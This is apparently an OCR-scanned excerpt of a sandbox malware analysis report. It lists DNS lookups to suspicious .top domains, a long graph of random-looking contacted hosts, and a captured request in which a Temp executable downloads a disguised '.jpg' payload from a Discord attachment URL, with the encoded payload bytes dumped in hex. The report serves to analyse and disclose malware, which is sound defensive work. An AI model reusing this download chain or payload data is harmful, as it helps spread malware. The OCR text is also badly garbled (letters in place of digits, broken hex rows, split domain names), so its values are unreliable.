Oct 29, 2021 8.8.8.8 192.168.2.3 Oxfaca No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:28:58.494632959

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxdf2d No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:00.814794064

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x6698 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:00.985613108

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xc03c No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:01.167325974

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x2771 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:01.328797102

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x1cf0 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
20:29:03.731282949 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x1cf0 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)
20:29:03.731282949 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x1cf0 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
20:29:03.731282949 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Ox1cfo No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)
20:29:03.731282949 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Ox1cfo No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)
20:29:03.731282949 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xf9cf No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:04.152548075

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x5230 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:04.329142094

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxaaba No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:06.661854029

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x576a No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:06.835438967

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x136a No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:07.028309107

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxa27 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
20:29:07.913829088 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xa27 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)
20:29:07.913829088 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xa27 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)
20:29:07.913829088 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xa27 No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)
20:29:07.913829088 dapp.com

CEST
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Oct 29, 2021 8.8.8.8 192.168.2.3 0xa27 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
20:29:07.913829088 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x5e56 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:09.903467894
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x2cch No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:10.205126047
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x12c5 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:10.905566931
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xfla0 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:11.174782038
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxlelf No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:12.700990915
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxad4d No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:14.796063900
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x3158 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:14.994440079
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x23ce No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:15.197427034
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x5b74 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:15.403424978
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x9abd No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:15.570120096
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x9e52 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:18.489921093
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 ox2féc No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:18.751365900
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xbdc6 No error (0) sysaheu90.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:18.976843119
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xf8c2 No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)
20:29:19.697580099 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xf8c2 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
20:29:19.697580099 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xf8c2 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
20:29:19.697580099 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xf8c2 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)
20:29:19.697580099 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xf8c2 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)
20:29:19.697580099 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x9702 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:22.269985914
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xe401 No error (0) hajezeyl.top 185.98.87.159 A (IP address)  IN (0x0001)
20:29:22.437674046
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x1b80 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:22.616386890
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x89cf No error (0) hajezeyl.top 185.98.87.159 A (IP address)  IN (0x0001)
20:29:22.811207056
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xe857 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:23.024833918
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxdffe No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:23.271843910
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x7587 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:23.823863983
CEST
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Oct 29, 2021 8.8.8.8 192.168.2.3 Oxe81c No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:24.210947037
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxc4bf No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:24.503165007
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxfede No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:24.850873947
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xla9 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:25.033365011
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxfda9 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:25.291810989
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 OxdfOe No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:25.492764950
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xd22c Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:29:32.347748995
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xdOb0 Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:29:35.634180069
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x8cal Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:29:38.973043919
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x5d51 Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:29:42.272511005
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x74d6 Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:29:45.576186895
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x462a Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:29:49.522789001
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x5b18 No error (0) toptelete.top 104.21.9.146 A (IP address) IN (0x0001)
20:29:49.573946953
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x5b18 No error (0) toptelete.top 172.67.160.46 A (IP address) IN (0x0001)
20:29:49.573946953
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x3881 No error (0) nusurtal4f.net 45.141.84.21 A (IP address) IN (0x0001)
20:29:56.746279955
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 176.123.228.234 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 186.74.208.84 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 211.119.84.112 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 189.129.196.81 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 196.200.111.5 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 91.203.174.38 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 89.46.29.238 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 151.251.30.69 A (IP address)  IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 58.124.228.242 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x41b8 No error (0) znpst.top 5.163.179.4 A (IP address) IN (0x0001)
20:29:57.394445896
CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x189 No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)
20:30:22.330321074 dapp.com
CEST
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Oct 29, 2021 8.8.8.8 192.168.2.3 0x189 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
20:30:22.330321074 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x189 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
20:30:22.330321074 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x189 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)
20:30:22.330321074 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x189 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)
20:30:22.330321074 dapp.com

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xf852 No error (0) mas.to 88.99.75.82 A (IP address) IN (0x0001)
20:30:49.100138903

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xb405 No error (0) api.2ip.ua 77.123.139.190 A (IP address) IN (0x0001)
20:30:49.412710905

CEST

HTTP Request Dependency Graph

e cdn.discordapp.com

e mnhikj.com
e hajezeyl.top

e bcetl.net

e privacytoolzforyou-6000.top

e mmcpy.net

e sligutw.org

e himphbmiy.net

e novmckj.com

* rqwpp.com

e ididar.net

e yyffg.com

o cfbujstw.com

e jphglbmv.com

e lujywddys.com

e hftuogn.com

e nyuewxm.org

e Kkgvsspvx.com

® juvrgxnox.com

e dobetow.org

e Inyvgfkgv.com

e bxkmjut.net
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e tgcck.net

e kuovgrmce.com

e plfxbxgdp.com

e rqvduguyi.org

e cyujuvo.net

e jvdvshpg.org

e tattj.org

o hfyjvhbtyy.org

e mjoranodkb.net

e nxvrsy.org

e ghvmfthgu.org

e sysaheu90.top

e oyggwg.com

e dvoowi.net

o ifginhprd.com

e oxvlulige.net

e cndlfysvgu.org

® omxgygy.net

e swqgaatpa.org

e hgeeej.com

e nnnix.com

o fbwxingfx.org

e ugnilqvafj.org

® uxxij.com

e mfupni.net

e toptelete.top

e nusurtal4f.net

e znpst.top

e 91.219.236.97

e mdmyxj.net

e 193.56.146.214
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e mkuggmqtkl.org

e fanpfs.org

e ertjun.org

o hxkblthegf.net

e mhnxbctxee.net

e htsentk.org

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.3
kBytes

Timestamp transferred

2021-10-29 18:29:04 UTC 0

2021-10-29 18:29:04 UTC 0

2021-10-29 18:29:04 UTC 1

2021-10-29 18:29:04 UTC 1

2021-10-29 18:29:04 UTC 2

Copyright Joe Security LLC 2021

Source Port

49785

Direction

ouT

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B4BD.exe

Data

GET /attachments/893177342426509335/903575517888925756/6 D9E3C88.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:04 GMT

Content-Type: image/jpeg

Content-Length: 1023400

Connection: close

CF-Ray: 6a5e77al6a8ad6bl-FRA

Accept-Ranges: bytes

Age: 32504

Cache-Control: public, max-age=31536000

ETag: "4cla9946a2a50a9bee099f80736b83ch"

Expires: Sat, 29 Oct 2022 18:29:04 GMT

Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-g00g-generation: 1635499591138366

x-goog-hash: crc32c=ewuz5A==

X-g00g-hash: md5=TBqZRgKICpvuCZ+Ac2uDyw==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 1023400

X-GUploader-UploadID: ADPycdvJIxIr9khbKEXfSQ9n_bxgILL7dSGVIxF6rk63UtNA6boJINKCUIT3dV9e0Gr4n
6Y4UdNwOh6zGJyRPI1vLRno

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:\\Va.nel.cloudflare.comV/report\/\v3?s=TICSPbpgawgo%2BUN5qla4gaqRD9IhPp
F80J1r8gLYpCw1sL3YYIHgwkZwU4dmagvK5w4CGvmoV7RAgmMcyQ2Qso0YeQSrx0FkzuhlokliCEoIHGNGLSTIpWhXD
ydVDah%2F1cWHHMg%3D%3D"}],"group”:"cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction™:0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 4f 71 4a 70 6d 57 44 45 58 4d 2d 45 45 20 4d 4f 20 71 6d 6d 20 4f 20 70 20 4f 20 4f 20 4f 20 6d 20 4f 20 4f 20
4f 20 4a 57 57 20 4a 57 57 20 4f 20 4f 20 71 58 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 44 6d 20 4f 20 4f 20 4f 20 4f
20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f
20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4a 58 20 4f 20 4f 20 4f 20 71 6d 20 70 71 20 71 58 44 20 71 6d 20
4f 20 71 58 4f 20 4d 20 4a 4f 57 20 70 70 20 71 58 6d 20 71 20 45 44 20 4a 4f 57 20 70 70 20 58 6d 20 71 4f 6d 20 71 4f
5720717157 2070422071 714a2071716d2071717120714f70 207171 6d 20 4d 45 20 71 4f 4d 20 70 4a 20
4d 4d 20 4d 45 20 71 71 4f 20 71

Data Ascii: OgJpmWDEXM-EE MO gqmm OpO OO mO O O JWWJIJWWO O gXmOOOO0OO0O0OODMOOOOOO
000000000000 0OOOOOOOOOOOOOOOOQIXOOOgmpggXD gm O gxO M IJOW pp gXm

q ED JOW pp Xm gOm gOW qqW pJ qgqJ ggm ggq qOp ggm ME qOM pJ MM ME qgO q

Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20
4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4a 57 20 6d 4f 20 4a 4a 4d 20 71 4f 4d 20
7171 57 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 6d 44 20 71 6d 70 20 57 4f 20 6d 58
2071 7058 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20
58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71
4520 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 4520 71 4f 4d 20 71 71 4a
20 57 4f 20 6d 58 20 57 4f 20 57 6d 20

Data Ascit OO0 000000000000 00000O0O0O0OOOOOOOOO OO0 IWmMO IIMgOM ggW WO
mX WO WO Xm gqgm ggE gmD gmp WO mX gpX Wm Xm gqgm ggE qOM gqgJ WO ggqJ WO Wm Xm qgm qgE qOM qqgJ
WO mX WO Wm Xm ggm qgE qOM gqgJ WO mX WO Wm Xm ggm qgE qOM ggqJ WO mX WO Wm
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:04 UTC 4 IN Data Raw: 4a 20 57 4f 20 45 44 20 71 58 70 20 57 57 20 58 6d 20 71 71 6d 20 58 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20
7158 6d 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d
2058 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 20 57 6d 20 58 6d 20 71 58 20 4d
712070 71 20 70 20 44 6d 20 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 45 58 20 71 71 58 20 71 4f 4d 20 71 71 4a 20 57 4f
20 4a 6d 4f 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4d 4f 20 6d 4d 20 57 4f 20
57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d
20577020 71 4f4d 20 71 71 4a 20 71 71 6d 20 70 4f 20 44
Data Ascii: J WO ED gXp WW Xm qgm XW gOM ggJ WO gXm Wg Wm Xm qgX qgE qOM ggJ WO mX WO Wm Xm ggm
qgE qOM ggqJ WO mX gX Wm Xm gX Mg pg p Dm Xp WO Wm Xm gEX gqgX qOM ggJ WO JmO Wq Wm Xm qgX qqE q
OM gqgJ gMO mM WO Wm Xm ggm gqqE qOM ggqJ WO mX WO Wm Xm qgm Wp qOM qgJ qgm pO D

2021-10-29 18:29:04 UTC 5 IN Data Raw: 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57
6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20
71714520 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71
71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20
57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20
7171 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71
4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20
Data Ascii: WO Wm Xm ggm ggE gOM ggJ WO mX WO Wm Xm ggm qgE qOM ggJ WO mX WO Wm Xm ggm gqE gOM
qgJ WO mX WO Wm Xm ggm qqE qOM ggqJ WO mX WO Wm Xm ggm ggE qOM gqgqJ WO mX WO Wm Xm gqgm qqE
qOM ggqJ WO mX WO Wm Xm ggm ggE qOM ggqJ WO mX WO Wm Xm qgm gqE qOM qgqJ WO mX WO Wm

2021-10-29 18:29:04 UTC 6 IN Data Raw: 4d 20 70 45 20 6d 45 20 4a 71 45 20 6d 4a 20 71 71 45 20 71 4f 4d 20 71 71 70 20 4a 70 20 70 58 20 44 6d 20
5757 20 58 6d 20 71 71 6d 20 57 20 70 71 20 6d 71 20 57 4f 20 6d 58 20 44 44 20 45 4a 20 45 6d 20 71 71 6d 20 71 71
45 20 71 4f 70 20 58 58 20 6d 57 20 6d 58 20 57 4f 20 44 4f 20 4a 6d 44 20 58 45 20 4d 58 20 70 71 20 71 20 57 4f 20 6d
58 20 44 44 20 44 58 20 4a 57 71 20 71 71 6d 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 71
4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 4a 20 44 58 20 71 6d 45 20 71 71 6d 2
071 71 45 20 4a 4d 20 4a 20 57 70 20 6d 4d 20 57 4f 20 45 4f 20 6d 4a 20 71 4f 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 2
0 4a 44 20 6d 45 20 57 4f 20 57 6d 20 4d 6d 20 4a 4f 58 20 4d 70
Data Ascii: M pE mE JgE mJ qgE qOM qgp Jp pX Dm WW Xm ggm W pg mg WO mX DD EJ Em gqgm gqqE gOp XX mW m
X WO DO JmD XE MX pgq g WO mX DD DX JWq ggm qqE JM gm mm mX WO DO gJm qOM qgE qOM gJJ gmm Jg mJ
DX gmE gqgm qgqE JM J Wp mM WO EO mJ qOX qqE qOM gJJ JD mE WO Wm Mm JOX Mp

2021-10-29 18:29:04 UTC 8 IN Data Raw: 6d 20 71 71 70 20 44 4d 20 71 71 6d 20 57 4f 20 6d 58 20 4a 57 20 58 4d 20 71 71 4a 20 71 71 57 20 71 71 45
20 71 4f 45 20 4d 45 20 57 57 20 70 70 20 57 6d 20 4a 4f 4f 20 58 4a 20 71 44 6d 20 71 71 44 20 71 4f 4d 20 71 71 58 20
44 57 20 70 4f 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 20 71 70 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 71 20 70 71 20 70
702071 71 6d 20 71 4a 20 71 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 4f 44 20 57 4a 20 4a 70 57 20 58 57 20 71
71 6d 20 71 71 57 20 70 4f 20 4d 57 20 57 4f 20 6d 58 20 57 44 20 71 4d 20 4a 71 4a 20 71 6d 4f 20 71 71 45 20 71 4f 4d
207171 44 20 4a 44 20 57 71 20 57 4f 20 57 6d 20 71 4a 45 20 4a 4d 20 4d 57 20 71 4f 58 20 71 71 4a 20 57 4a 20 70
7020 57 57 20 70 4d 20 58 4f 20 71 6d 4f 20 71 71 57 20 71 58
Data Ascii: m qgp DM ggm WO mX JW XM qqJ qqW gqE qOE ME WW pp Wm JOO XJ gDm qgD gqOM ggX DW pO WO
Wm Mm gJ gpM qOM qqJ Wm Jq pq pp ggm gJ gmJ qgOM gqgJ Wm JOD WJ JpW XW qgm qqW pO MW WO mX WD gM
JgJ gmO ggE qOM qgD JD Wg WO Wm gqJE JM MW gOX qgJ WJ pp WW pM XO gmO qqW gXx

2021-10-29 18:29:04 UTC 9 IN Data Raw: 58 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 45 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4d 20 57 70 20 70 4f
207171 4f2071 71 6d 20 71 71 45 20 71 4f 70 20 4d 70 20 57 70 20 57 6d 20 44 70 20 4a 70 57 20 71 4a 4520 71 71
57 2071 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 57 44 20 57 4f 20 57 6d 20 58 4a 20 71 4a 44 20 71 71 6d 20 70 4f 20
4a 71 4d 20 57 4f 20 6d 58 20 57 4a 20 70 45 20 58 4f 20 4d 4d 20 71 71 70 20 71 71 70 20 4a 57 70 20 71 4f 6d 20 6d 58
2057 4f 2057 57 20 71 71 70 20 71 44 4a 20 4a 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58
6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 70 57 20 58 6d 20 71 71 6d 20 71 71 57 20 4
557 20 71 4f 4a 20 70 70 20 57 70 20 71 4f 20 4a 70 6d 20 58 6d
Data Ascii: X WO Wm Mm MO ED qOM qgJ WD WM Wp pO qqO qgm qqE qOp Mp Wp Wm Dp JpW qJE qqW qgqE qOM
qgm JD WD WO Wm XJ gJD ggm pO JgM WO mX WJ pE XO MM qgp qgp JWp gOm mX WO WW qgp gDJ JJJ gOM qqJ
Wm Jm W Wm Xm ¢JO D XW gqgqJ WO WX Mp gpW Xm ggm qqW EW qOJ pp Wp qO Jpm Xm

2021-10-29 18:29:04 UTC 10 IN Data Raw: 6d 20 58 6d 20 71 71 6d 20 70 58 20 71 4f 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 57 6d 20 58 6d 20
71717020 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 45 4d 20 44 44 20 71 71 57 20 71 4f
4d 20 57 4a 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 4f 4f 20 70 4f 20 45 4d 20 57 4f 20 6d 58 20
57 44 20 44 4f 20 58 44 20 71 71 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 6d 4f
207171 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d
2071 4a 4a 20 4a 44 20 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 71 20 71 71 6d 20 44 4d 20 45 6d 20 57 4f 20 6d 58 20
57 4420 4a 45 2058 70 20 71 71 44 20 71 4a 4f 20 71 45 44
Data Ascii: m Xm qgm pX qOX gqgJ WO qOW Wq Wm Xm qgp qqE qOM ggJd Dg mX WO WW EM DD qqW qOM WJ mX
mX WO Wp Xm ggm qOO pO EM WO mX WD DO XD qqq JmX WW ggJ WO mM Jp JpO gmO gqgm qgE qOW XX W mX
WO DO pM Em gqE qOM gJJ JD M WO Wm Mm gJg ggm DM Em WO mX WD JE Xp qgD qJO gED

2021-10-29 18:29:04 UTC 12 IN Data Raw: 71 4f 58 20 58 57 20 4a 4a 44 20 4a 71 6d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a
